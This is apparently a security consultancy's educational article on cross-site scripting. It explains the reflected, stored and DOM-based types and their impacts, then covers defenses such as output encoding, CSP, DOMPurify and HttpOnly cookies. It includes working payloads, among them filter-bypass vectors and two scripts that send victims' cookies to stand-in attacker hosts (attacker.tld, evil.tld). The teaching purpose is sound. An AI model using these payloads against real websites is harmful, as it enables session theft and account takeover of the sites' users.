ofensiva
XSS
cross-site scripting
reflected XSS

What Is XSS: Cross-Site Scripting Attacks Explained

What XSS (cross-site scripting) is: how it works, types reflected, stored and DOM, real payloads and defenses with CSP, output encoding and cookies.

SecraJuly 6, 202611 min read

XSS (cross-site scripting) is a web vulnerability that lets an attacker inject JavaScript into a legitimate page so that it runs in the browsers of other people. The flaw appears when an application embeds user controlled data into the HTML response without encoding or sanitising it. The victim's browser cannot tell the difference between the script written by the developer and the one injected by the attacker: both run with the permissions of the domain itself, with access to cookies, session tokens, local storage and the full application interface.

The essentials. XSS exploits the trust the browser places in the origin that serves the content. It is classified into three types: reflected, stored and DOM based. Modern defenses combine context aware output encoding, a strict Content Security Policy, allow list sanitisation (DOMPurify), HttpOnly and SameSite cookies, and the automatic escaping of frameworks such as React, Angular or Vue. XSS sits in the OWASP Top 10 under the Injection category (A03:2021).

What XSS is and how the attack works

The XSS attack relies on a simple premise: the application returns to the browser data that an attacker managed to control, and it does so in a way that makes that data interpreted as code rather than as text. The entry point can be a search parameter, a comment field, a profile name, a reflected HTTP header or any source that ends up rendered on the page.

The typical flow has three moments. First, injection: the attacker introduces a payload with tags or attributes that trigger JavaScript. Second, propagation: the application stores or reflects that payload and delivers it to the victim's browser without neutralising it. Third, execution: the browser interprets the payload within the context of the legitimate domain and runs the attacker's instructions.

The critical detail is that the code runs with the identity of the trusted site. Everything legitimate JavaScript can do (read document.cookie, make authenticated requests with fetch(), modify the DOM, capture keystrokes) becomes available to the attacker. That is why XSS is rarely an isolated problem: it is the lever that enables session theft, fraud and full account compromise.

Reflected XSS

Reflected XSS happens when the application takes a value from the request (usually from the URL) and returns it immediately in the response without encoding it. Nothing is stored in a database: the payload travels in the very link the victim has to open.

A vulnerable search page that shows "No results for: X" by reflecting the q parameter is the classic case:

https://app.tld/search?q=<script>alert(document.domain)</script>

If the server embeds that value as is in the HTML, the browser runs the script. The delivery vector is usually social engineering: a link in an email, a message or a social post that the victim opens while authenticated. Reflected XSS is the most common variant and also the easiest to turn into a weaponised link, which is why it appears recurrently in web application audits like those described in web application penetration testing.

Stored XSS

Stored XSS, also called persistent, is the most dangerous. Here the payload is saved on the server (database, comment system, user profile, support ticket) and served to every person who visits the affected page. It does not require the victim to click a crafted link: it is enough for them to load a view where the malicious content already lives.

An unsanitised comment field that accepts HTML lets an attacker persist something like:

<script>fetch('https://attacker.tld/c?k='+encodeURIComponent(document.cookie))</script>

Every user who opens that thread will send their session cookie to the attacker's server. The impact multiplies because the reach is massive and automatic. The historical example is the Samy worm (MySpace, 2005), a stored XSS that self propagated to more than a million profiles in under twenty four hours. In collaborative applications, forums, admin panels that display third party data and CMS platforms with plugins, stored XSS remains a frequent finding.

DOM based XSS

DOM based XSS does not depend on the server response: the vulnerability lives entirely in the client side JavaScript. It occurs when the page code reads a controllable source (for example location.hash, location.search or document.referrer) and passes it to a dangerous sink (such as innerHTML, document.write, eval or element.setAttribute) without validation.

A common vulnerable snippet:

document.getElementById('out').innerHTML = location.hash.substring(1);

With a URL like https://app.tld/#<img src=x onerror=alert(document.cookie)>, the browser builds an image that fails to load and fires the onerror handler. Because the server never sees the fragment after the hash, many WAFs and server side filters never inspect it. Detecting DOM XSS requires client side data flow analysis, sink review and tools such as the Burp Suite analysis engine or specialised extensions. The ideal platform level defense is the Trusted Types API, which blocks the assignment of unpurified strings to sensitive sinks.

Payload examples and filter evasion

When a basic filter blocks the <script> tag, there are dozens of alternative vectors that rely on event handlers and other tags:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<iframe src="javascript:alert(1)">
<a href="javascript:alert(1)">click</a>

Attackers combine encoding (HTML entities, URL % escaping, unicode, JavaScript sequences) to bypass naive block list filters. The underlying lesson is that filtering by signatures is a losing race: correct neutralisation is done through context aware output encoding, not by blocking specific strings. To exfiltrate data, the payload is usually discreet:

<script>new Image().src='https://evil.tld/?c='+encodeURIComponent(document.cookie)</script>

A successfully exploited XSS gives the attacker control of the victim's browser inside the affected domain. The most frequent consequences are theft of the session cookie (session hijacking) to impersonate the victim without knowing their password, credential capture through fake forms injected into the page, and keylogging of everything the user types.

Beyond data theft, XSS allows actions on behalf of the victim through authenticated requests, which nullifies anti CSRF protections: if the attacker runs code inside the domain, they can read the anti CSRF token and use it. It also enables defacement, redirection to phishing sites and malware distribution. On high value targets, a stored XSS in the admin panel can escalate all the way to compromise of the full infrastructure.

XSS vs CSRF: comparison

XSS and CSRF are often confused because both execute in the victim's browser, but they exploit different trusts.

AspectXSSCSRF
What is exploitedBrowser trust in the origin serving the contentServer trust in the browser's automatic cookies
Payload originInjected into the vulnerable applicationHosted on an external attacker site
Needs to read the responseYes, the script runs in the domainNo, triggering the action is enough
Relative severityHigher: full control of the domain contextLower: specific state changing actions

The key relationship: a successful XSS defeats any CSRF defense, because the attacker runs code with the domain's permission and can read the token. That is why XSS is considered more severe and CSRF acts as a complementary layer within a defense in depth strategy.

Modern defenses against XSS

Context aware output encoding

This is the primary defense. Every piece of dynamic data must be encoded according to where it is inserted: HTML entities in the document body, attribute encoding inside attributes, JavaScript escaping inside script blocks and URL encoding in links. Applying the wrong escaping for the context (for example, HTML entities inside an event attribute) leaves the flaw open. The OWASP XSS Prevention Cheat Sheet documents the rules per context (CWE-79).

Content Security Policy (CSP)

A strict CSP is the second layer that turns many XSS instances into non exploitable ones. With script-src based on per request nonces and strict-dynamic, it prevents the execution of unauthorised inline scripts even when an injection exists. CSP does not replace output encoding, but it limits the damage decisively and is today an expected control in any serious application. It pairs with correctly served security headers, an area that overlaps with CORS and web security.

Allow list sanitisation

When the application needs to allow user HTML (rich text editors, formatted comments), escaping alone is not enough: it must sanitise with a robust library that applies an allow list of tags and attributes. DOMPurify is the de facto client side standard. You should never build a homegrown sanitiser based on regular expressions.

HttpOnly and SameSite cookies

Marking the session cookie as HttpOnly prevents document.cookie from reading it in JavaScript, which neutralises direct session theft via XSS. Combined with Secure and SameSite, it reduces the attack surface. It is a mitigation, not a cure: XSS still allows authenticated requests even when the cookie is unreadable.

Framework automatic escaping

React, Angular and Vue escape interpolated content by default, which eliminates most classic XSS. The risk shifts to the escape hatches: dangerouslySetInnerHTML in React, v-html in Vue or bypassSecurityTrustHtml in Angular reintroduce the danger if they receive unsanitised data. Auditing these points is a priority in modern applications.

WAF as a compensating control

A WAF can block known XSS payloads and buy reaction time, but it is evadable through encoding and variants, and it does not see DOM based XSS. It is a useful perimeter layer, never the sole defense. The flaw must be fixed in the code.

XSS in the OWASP Top 10

XSS was a standalone category (A7) in the OWASP Top 10 until 2017. In the 2021 edition it was merged into A03:2021 Injection, recognising that XSS is, in essence, a code injection into the browser context. The reclassification does not lower its importance: it remains one of the most reported vulnerabilities in bug bounty programs and a constant in web audits, as covered in the 5 most common web vulnerabilities. The technical reference remains the OWASP Web Security Testing Guide and the CWE-79 classification.

Frequently asked questions

Which type of XSS is the most dangerous?

Stored (persistent) XSS, because it affects every user who visits the compromised page without needing social engineering or a crafted link. Its reach is massive and automatic, and in internal panels it can escalate all the way to infrastructure compromise.

Does HttpOnly eliminate the XSS risk?

No. HttpOnly prevents JavaScript from reading the session cookie, which stops direct cookie theft, but an XSS can still launch authenticated requests, capture form credentials or modify the interface. It is an important mitigation, not a complete solution.

Do React or Angular protect me from XSS?

Largely, because they escape content by default. The risk persists in the escape hatches (dangerouslySetInnerHTML, v-html, bypassSecurityTrust*) and in DOM based XSS when client code writes unpurified data into dangerous sinks.

What is the difference between XSS and CSRF?

XSS injects and executes code in the vulnerable domain, exploiting the browser's trust in the origin. CSRF forces an action from an external site by leveraging the browser's automatic cookies. A successful XSS defeats anti CSRF defenses, which is why it is considered more severe.

Is a WAF enough to stop XSS?

Not as the sole defense. A WAF blocks known patterns and is evadable through encoding and variants, and it does not inspect DOM based XSS. It must be combined with output encoding, CSP and sanitisation in the code.

Auditing XSS and web vulnerabilities with Secra

Secra performs web application audits aligned with the OWASP Top 10 and the OWASP Web Security Testing Guide. We cover the identification of injection points, controlled exploitation of reflected, stored and DOM based XSS, review of context aware output encoding, analysis of the Content Security Policy and validation of cookie configuration (HttpOnly, Secure, SameSite).

We deliver prioritised findings, reproducible test cases and hardening recommendations specific to your architecture, including correct use of sanitisers and review of the escape hatches in React, Angular or Vue. If you need a professional review of XSS, CSRF and the rest of the OWASP catalogue, explore our web and mobile audit service or write to us through /en/contact/ to plan an audit adapted to your platform.

About the author

Secra Solutions team

Ethical hackers with OSCP, OSEP, OSWE, CRTO, CRTL and CARTE certifications, 7+ years of experience in offensive cybersecurity, and authors of CVE-2025-40652 and CVE-2023-3512.

Share article